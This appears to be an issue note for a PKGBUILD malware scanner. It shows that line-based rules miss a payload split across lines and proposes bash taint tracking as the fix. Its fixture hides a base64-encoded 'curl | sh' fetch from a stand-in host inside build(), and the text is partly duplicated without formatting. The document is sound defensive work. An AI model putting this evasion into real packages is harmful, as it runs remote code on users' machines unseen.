All 17 PKGBUILD rules match a single line at a time. Splitting a payload across lines defeats them, and this is demonstrated, not theoretical.
_d="Y3VybCAtcyBodHRwOi8vZXZpbC50ZXN0L3AgfCBzaA=="
build() {
printf %s "$_d" | base64 -d > ./s
sh ./s
}
Verdict: allow, zero findings. b64_exec requires base64 -d ... | sh on one line.
This was one of four evasions written against the rules. The other three are now caught — .install payloads by the root-context rules, subdirectory binaries by the recursive read_local_files, and dropped artifacts by aur inspect. This one is structural.
What would actually fix it
Not another regex. Options in rough cost order:
- Taint tracking over the bash AST.
aegis-ast already has tree-sitter; there is no bash grammar wired in. Track a variable from assignment to eval/sh/pipe-to-shell. Catches the shape above and most reorderings of it.
- Build sandbox (plan G3). Catches it at runtime along with everything else. Explicitly out of scope — the owner declined.
Until one of those lands, the honest statement is that the text rules stop careless attackers, not deliberate ones.
Acceptance
The fixture above blocks, and mechanical variations of it (different variable name, eval instead of sh, $(...) instead of a pipe) block too.
All 17 PKGBUILD rules match a single line at a time. Splitting a payload across lines defeats them, and this is demonstrated, not theoretical.
Verdict:
allow, zero findings.b64_execrequiresbase64 -d ... | shon one line.This was one of four evasions written against the rules. The other three are now caught —
.installpayloads by the root-context rules, subdirectory binaries by the recursiveread_local_files, and dropped artifacts byaur inspect. This one is structural.What would actually fix it
Not another regex. Options in rough cost order:
aegis-astalready has tree-sitter; there is no bash grammar wired in. Track a variable from assignment toeval/sh/pipe-to-shell. Catches the shape above and most reorderings of it.Until one of those lands, the honest statement is that the text rules stop careless attackers, not deliberate ones.
Acceptance
The fixture above blocks, and mechanical variations of it (different variable name,
evalinstead ofsh,$(...)instead of a pipe) block too.